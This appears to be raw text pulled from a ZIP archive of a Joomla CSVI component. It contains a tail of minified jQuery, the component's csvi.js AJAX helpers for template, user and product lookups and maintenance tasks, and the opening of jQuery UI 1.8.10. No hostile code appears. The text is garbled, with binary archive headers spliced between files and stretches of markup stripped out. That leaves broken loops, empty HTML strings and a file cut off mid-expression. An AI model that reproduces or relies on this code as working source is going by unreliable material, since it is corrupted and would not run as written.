l=(Z.exec(k)||["",""])[1].toLowerCase(),m=bg[l]||bg._default,n=m[0],o=b.createElement("div");b===c?bh.appendChild(o):U(b).appendChild(o),o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=$.test(k),q=l==="table"&&!p?o.firstChild&&o.firstChild.childNodes:m[1]===""&&!p?o.childNodes:[];for(i=q.length-1;i>=0;--i)f.nodeName(q[i],"tbody")&&!q[i].childNodes.length&&q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace&&X.test(k)&&o.insertBefore(b.createTextNode(X.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]&&typeof (r=k.length)=="number")for(i=0;i=0)return b+"px"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return br.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bq,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bq.test(g)?g.replace(bq,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:"inline-block"},function(){b?c=bz(a,"margin-right","marginRight"):c=a.style.marginRight});return c}})}),c.defaultView&&c.defaultView.getComputedStyle&&(bA=function(a,b){var c,d,e;b=b.replace(bs,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b)));return c}),c.documentElement.currentStyle&&(bB=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f===null&&g&&(e=g[b])&&(f=e),!bt.test(f)&&bu.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f||0,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),bz=bA||bB,f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bD=/%20/g,bE=/\[\]$/,bF=/\r?\n/g,bG=/#.*$/,bH=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bI=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bJ=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bK=/^(?:GET|HEAD)$/,bL=/^\/\//,bM=/\?/,bN=/)<[^<]*)*<\/script>/gi,bO=/^(?:select|textarea)/i,bP=/\s+/,bQ=/([?&])_=[^&]*/,bR=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bS=f.fn.load,bT={},bU={},bV,bW,bX=["*/"]+["*"];try{bV=e.href}catch(bY){bV=c.createElement("a"),bV.href="",bV=bV.href}bW=bR.exec(bV.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bS)return bS.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("
      ").append(c.replace(bN,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bO.test(this.nodeName)||bI.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bF,"\r\n")}}):{name:b.name,value:c.replace(bF,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b_(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b_(a,b);return a},ajaxSettings:{url:bV,isLocal:bJ.test(bW[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bX},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bZ(bT),ajaxTransport:bZ(bU),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?cb(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cc(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bH.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bG,"").replace(bL,bW[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bP),d.crossDomain==null&&(r=bR.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bW[1]&&r[2]==bW[2]&&(r[3]||(r[1]==="http:"?80:443))==(bW[3]||(bW[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),b$(bT,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bK.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bM.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bQ,"$1_="+x);d.url=y+(y===d.url?(bM.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bX+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=b$(bU,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)ca(g,a[g],c,e);return d.join("&").replace(bD,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cd=f.now(),ce=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cd++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=b.contentType==="application/x-www-form-urlencoded"&&typeof b.data=="string";if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(ce.test(b.url)||e&&ce.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(ce,l),b.url===j&&(e&&(k=k.replace(ce,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var cf=a.ActiveXObject?function(){for(var a in ch)ch[a](0,1)}:!1,cg=0,ch;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ci()||cj()}:ci,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,cf&&delete ch[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cg,cf&&(ch||(ch={},f(a).unload(cf)),ch[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var ck={},cl,cm,cn=/^(?:toggle|show|hide)$/,co=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,cp,cq=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cr;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cu("show",3),a,b,c);for(var g=0,h=this.length;g=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each(["Left","Top"],function(a,c){var d="scroll"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:f.support.boxModel&&g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each(["Height","Width"],function(a,c){var d=c.toLowerCase();f.fn["inner"+c]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,d,"padding")):this[d]():null},f.fn["outer"+c]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,d,a?"margin":"border")):this[d]():null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement["client"+c],h=e.document.body;return e.document.compatMode==="CSS1Compat"&&g||h&&h["client"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement["client"+c],e.body["scroll"+c],e.documentElement["scroll"+c],e.body["offset"+c],e.documentElement["offset"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNumeric(j)?j:i}return this.css(d,typeof a=="string"?a:a+"px")}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window);PK@y>\mN5=5=%components/com_csvi/assets/js/csvi.jsnuW+A/** * CSVI JavaScript * * CSVI * Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved. * * @package CSVI * @version $Id: csvi.js 2275 2013-01-03 21:08:43Z RolandD $ */ var Csvi = { // Retrieve the template types for the given component loadTemplateTypes: function() { var action = jQuery("#jform_options_action").val(); var component = jQuery("#jform_options_component").val(); jQuery.ajax({ async: false, url: 'index.php', dataType: 'json', data: 'option=com_csvi&task=templatetypes.loadtemplatetypes&format=json&action='+action+'&component='+component, success: function(data) { jQuery('#jform_options_operation > option').remove(); jQuery.each(data, function(value, name) { jQuery('#jform_options_operation').append(jQuery('').val(value).html(name)); }) }, error: function(data, status, statusText) { jAlert(statusText+'\r\n'+data.responseText); } }); }, getData: function(task) { var template_type = jQuery('#jformimport_type').val(); var table_name = jQuery('#jformcustom_table_import').val(); jQuery.ajax({ async: false, url: 'index.php', dataType: 'json', data: 'option=com_csvi&view=export&task='+task+'&format=json&template_type='+template_type+'&table_name='+table_name, success: function(data) { switch (task) { case 'loadtables': loadTables(data); break; case 'loadfields': loadFields(data); break; } }, error:function (xhr, ajaxOptions, thrownError){ jAlert(thrownError); } }); }, /** * Set the maintenance task */ setTask: function(task) { document.adminForm.task.value = task; }, createFolder: function(folder, element) { var spinner = jQuery('#'+element).html(""); jQuery.ajax({ async: false, url: 'index.php', dataType: 'html', data: 'option=com_csvi&task=about.createfolder&format=raw&folder='+folder, success: function(data) { location.reload(); }, error: function(data, status, statusText) { jQuery('#'+element).html(Joomla.JText._('COM_CSVI_ERROR_CREATING_FOLDER')); jAlert(statusText+'\r\n'+data.responseText); } }); }, updateRowClass: function(table) { jQuery("table#"+table+" tr:even").addClass("row0"); jQuery("table#"+table+" tr:odd").addClass("row1"); }, showSource: function(source) { switch (source) { case 'fromserver': jQuery('.importupload, .importftp, .importurl').parent().parent().hide(); jQuery('.importserver').parent().parent().show(); break; case 'fromurl': jQuery('.importupload, .importftp, .importserver').parent().parent().hide(); jQuery('.importurl').parent().parent().show(); break; case 'fromftp': jQuery('.importupload, .importserver, .importurl').parent().parent().hide(); jQuery('.importftp').parent().parent().show(); break; case 'fromupload': jQuery('.importserver, .importftp, .importurl').parent().parent().hide(); jQuery('.importupload').parent().parent().show(); break; case 'todownload': case 'toemail': jQuery('.exportftp').parent().parent().hide(); jQuery('.exportlocalpath').parent().parent().hide(); break; case 'tofile': jQuery('.exportftp').parent().parent().hide(); jQuery('.exportlocalpath').parent().parent().show(); break; case 'toftp': jQuery('.exportlocalpath').parent().parent().hide(); jQuery('.exportftp').parent().parent().show(); break; } return; }, searchUser: function() { _timeout = null; jQuery("#selectuserid tbody").remove(); jQuery("#selectuserid").append('
      '); var searchfilter = jQuery("input[name='searchuserbox']").val(); var component = jQuery("#jform_options_component").val(); jQuery.ajax({ async: false, url: 'index.php', datatype: 'json', data: 'option=com_csvi&task=process.getuser&format=json&filter='+searchfilter+'&component='+component, success: function(data) { jQuery("#ajaxuserloading").remove(); jQuery("#selectuserid tbody").remove(); var options = []; var r = 0; options[++r] = ''; if (data.length > 0) { for (var i = 0; i < data.length; i++) { options[++r] = ''; } } options[++r] = ''; jQuery("#selectuserid").append(options.join('')); jQuery("table#selectuserid tr:even").addClass("row0"); jQuery("table#selectuserid tr:odd").addClass("row1"); jQuery('table#selectuserid tbody tr').click(function() { var user_id = jQuery(this).find('td.user_id').html(); /* Check if the user ID is already in the select box */ var existingvals = []; jQuery('select#jform_order_orderuser option').each(function() { var optionval = jQuery(this).val(); if (optionval !== "") existingvals.push(optionval); }); if (jQuery.inArray(user_id, existingvals) >= 0) { return; } else { var options = ''; jQuery("select#jform_order_orderuser").append(options); jQuery("select#jform_order_orderuser option:eq(0)").attr("selected", false); } }); }, error: function(data, status, statusText) { jQuery("#ajaxproductloading").remove(); jAlert(statusText+'\r\n'+data.responseText); } }) }, searchProduct: function() { _timeout = null; jQuery("#selectproductsku tbody").remove(); jQuery("#selectproductsku").append(''); var searchfilter = jQuery("input[name='searchproductbox']").val(); var component = jQuery("#jform_options_component").val(); jQuery.ajax({ async: false, url: 'index.php', datatype: 'json', data: 'option=com_csvi&task=process.getproduct&format=json&filter='+searchfilter+'&component='+component, success: function(data) { jQuery("#ajaxproductloading").remove(); jQuery("#selectproductsku tbody").remove(); var options = []; var r = 0; options[++r] = ''; if (data.length > 0) { for (var i = 0; i < data.length; i++) { options[++r] = ''; } } options[++r] = ''; jQuery("#selectproductsku").append(options.join('')); jQuery("table#selectproductsku tr:even").addClass("row0"); jQuery("table#selectproductsku tr:odd").addClass("row1"); jQuery('table#selectproductsku tbody tr').click(function() { var product_sku = jQuery(this).find('td.product_sku').html(); /* Check if the product ID is already in the select box */ var existingvals = []; jQuery('select#jform_order_orderproduct option').each(function() { var optionval = jQuery(this).val(); if (optionval !== "") existingvals.push(optionval); }); if (jQuery.inArray(product_sku, existingvals) >= 0) { return; } else { var options = ''; jQuery("select#jform_order_orderproduct").append(options); jQuery("select#jform_order_orderproduct option:eq(0)").attr("selected", false); } }); }, error: function(data, status, statusText) { jQuery("#ajaxproductloading").remove(); jAlert(statusText+'\r\n'+data.responseText); } }) }, searchItemProduct: function() { _timeout = null; jQuery("#selectitemproductsku tbody").remove(); jQuery("#selectitemproductsku").append(''); var searchfilter = jQuery("input[name='searchitemproductbox']").val(); jQuery.ajax({ async: false, url: 'index.php', datatype: 'json', data: 'option=com_csvi&task=process.getitemproduct&format=json&filter='+searchfilter, success: function(data) { jQuery("#ajaxproductloading").remove(); jQuery("#selectitemproductsku tbody").remove(); var options = []; var r = 0; options[++r] = ''; if (data.length > 0) { for (var i = 0; i < data.length; i++) { options[++r] = ''; } } options[++r] = ''; jQuery("#selectitemproductsku").append(options.join('')); jQuery("table#selectitemproductsku tr:even").addClass("row0"); jQuery("table#selectitemproductsku tr:odd").addClass("row1"); jQuery('table#selectitemproductsku tbody tr').click(function() { var product_sku = jQuery(this).find('td.product_sku').html(); // Check if the product ID is already in the select box var existingvals = []; jQuery('select#jform_orderitem_orderitemproduct option').each(function() { var optionval = jQuery(this).val(); if (optionval !== "") existingvals.push(optionval); }); if (jQuery.inArray(product_sku, existingvals) >= 0) { return; } else { var options = ''; jQuery("select#jform_orderitem_orderitemproduct").append(options); jQuery("select#jform_orderitem_orderitemproduct option:eq(0)").attr("selected", false); } }); }, error: function(data, status, statusText) { jQuery("#ajaxproductloading").remove(); jAlert(statusText+'\r\n'+data.responseText); } }) }, loadExportSites: function(site, selected) { switch (site) { case 'xml': case 'html': jQuery.ajax({ async: false, url: 'index.php', dataType: 'json', data: 'option=com_csvi&task=process.loadsites&format=json&exportsite='+site+'&selected='+selected, success: function(data) { if (data) { jQuery('#jform_general_export_site').parent().html(data); } }, error: function(data, status, statusText) { jAlert(statusText+'\r\n'+data.responseText); } }); jQuery('#jform_general_export_site').parent().parent().show(); break; default: jQuery('#jform_general_export_site').parent().parent().hide(); break; } }, loadCategoryTree: function (lang, component) { jQuery.ajax({ async: false, url: 'index.php', dataType: 'json', data: 'option=com_csvi&task=process.loadcategorytree&format=json&language='+lang+'&component='+component, success: function(data) { if (data) { jQuery('#jform_product_product_categories > option').remove(); jQuery.each(data, function(key, item) { jQuery('#jform_product_product_categories').append(jQuery('').val(item.value).html(item.text)); }) jQuery("#jform_product_product_categories > option:first").attr("selected", "true"); } }, error: function(data, status, statusText) { jAlert(statusText+'\r\n'+data.responseText); } }); } } var CsviMaint = { loadOptions: function(option) { jQuery('#optionfield').empty(); switch (option) { case 'emptydatabase': message = Joomla.JText._('COM_CSVI_CONFIRM_DB_DELETE'); jConfirm(message, Joomla.JText._('COM_CSVI_'+option+'_LABEL'), function(r) { if (r) { Csvi.setTask('maintenance.'+option); } else { Csvi.setTask('maintenance.maintenance'); } }) break; case 'removecsvitables': message = Joomla.JText._('COM_CSVI_CONFIRM_CSVITABLES_DELETE'); jConfirm(message, option, function(r) { if (r) { Csvi.setTask('maintenance.'+option); } else { Csvi.setTask('maintenance.maintenance'); } }) break; case 'backuptemplates': jQuery('#optionfield').empty().append(''); Csvi.setTask('maintenance.'+option); break; case 'restoretemplates': jQuery('#optionfield').empty().append(''); Csvi.setTask('maintenance.'+option); break; case 'icecatindex': jQuery.ajax({ async: false, url: 'index.php', dataType: 'html', data: 'option=com_csvi&task=maintenance.icecatsettings&format=raw', success: function(data) { jQuery('#optionfield').empty().append(data); }, error: function(data, status, statusText) { jQuery('#optionfield').empty(); jAlert(statusText+'\r\n'+data.responseText); } }); Csvi.setTask('maintenance.'+option); break; case 'sortcategories': jQuery.ajax({ async: false, url: 'index.php', dataType: 'html', data: 'option=com_csvi&task=maintenance.sortcategories&format=raw', success: function(data) { jQuery('#optionfield').empty().append(data); }, error: function(data, status, statusText) { jQuery('#optionfield').empty(); jAlert(statusText+'\r\n'+data.responseText); } }); Csvi.setTask('maintenance.'+option); break; default: Csvi.setTask('maintenance.'+option); break; } }, loadOperation: function(component) { jQuery('#optionfield').empty(); jQuery.ajax({ async: false, url: 'index.php', dataType: 'html', data: 'option=com_csvi&task=maintenance.operations&component='+component+'&format=raw', success: function(data) { jQuery('#operation').html(data); }, error: function(data, status, statusText) { jQuery('#operation').empty(); jAlert(statusText+'\r\n'+data.responseText); } }); } } // Set the live events var _timeout = null; var notallowedkeys = [9, 10, 16, 17, 18, 20, 27, 37, 38, 39, 40, 92, 93]; jQuery("#searchuser, #searchproduct, #searchitemproduct").live('keyup', function(e) { if (jQuery.inArray(e.keyCode, notallowedkeys) >= 0) { return; } else { if(_timeout != null) { clearTimeout(_timeout); _timeout = null; } var callfunc = jQuery(this)[0].id; switch (callfunc) { case 'searchuser': _timeout = setTimeout('Csvi.searchUser()', 1000); break; case 'searchproduct': _timeout = setTimeout('Csvi.searchProduct()', 1000); break; case 'searchitemproduct': _timeout = setTimeout('Csvi.searchItemProduct()', 1000); break; } } })PK@y>\:fٔ$$*components/com_csvi/assets/js/jquery-ui.jsnuW+A/*! * jQuery UI 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI */ (function(c,j){function k(a){return!c(a).parents().andSelf().filter(function(){return c.curCSS(this,"visibility")==="hidden"||c.expr.filters.hidden(this)}).length}c.ui=c.ui||{};if(!c.ui.version){c.extend(c.ui,{version:"1.8.10",keyCode:{ALT:18,BACKSPACE:8,CAPS_LOCK:20,COMMA:188,COMMAND:91,COMMAND_LEFT:91,COMMAND_RIGHT:93,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,MENU:93,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106, NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38,WINDOWS:91}});c.fn.extend({_focus:c.fn.focus,focus:function(a,b){return typeof a==="number"?this.each(function(){var d=this;setTimeout(function(){c(d).focus();b&&b.call(d)},a)}):this._focus.apply(this,arguments)},scrollParent:function(){var a;a=c.browser.msie&&/(static|relative)/.test(this.css("position"))||/absolute/.test(this.css("position"))?this.parents().filter(function(){return/(relative|absolute|fixed)/.test(c.curCSS(this, "position",1))&&/(auto|scroll)/.test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0):this.parents().filter(function(){return/(auto|scroll)/.test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0);return/fixed/.test(this.css("position"))||!a.length?c(document):a},zIndex:function(a){if(a!==j)return this.css("zIndex",a);if(this.length){a=c(this[0]);for(var b;a.length&&a[0]!==document;){b=a.css("position"); if(b==="absolute"||b==="relative"||b==="fixed"){b=parseInt(a.css("zIndex"),10);if(!isNaN(b)&&b!==0)return b}a=a.parent()}}return 0},disableSelection:function(){return this.bind((c.support.selectstart?"selectstart":"mousedown")+".ui-disableSelection",function(a){a.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}});c.each(["Width","Height"],function(a,b){function d(f,g,l,m){c.each(e,function(){g-=parseFloat(c.curCSS(f,"padding"+this,true))||0;if(l)g-=parseFloat(c.curCSS(f, "border"+this+"Width",true))||0;if(m)g-=parseFloat(c.curCSS(f,"margin"+this,true))||0});return g}var e=b==="Width"?["Left","Right"]:["Top","Bottom"],h=b.toLowerCase(),i={innerWidth:c.fn.innerWidth,innerHeight:c.fn.innerHeight,outerWidth:c.fn.outerWidth,outerHeight:c.fn.outerHeight};c.fn["inner"+b]=function(f){if(f===j)return i["inner"+b].call(this);return this.each(function(){c(this).css(h,d(this,f)+"px")})};c.fn["outer"+b]=function(f,g){if(typeof f!=="number")return i["outer"+b].call(this,f);return this.each(function(){c(this).css(h, d(this,f,true,g)+"px")})}});c.extend(c.expr[":"],{data:function(a,b,d){return!!c.data(a,d[3])},focusable:function(a){var 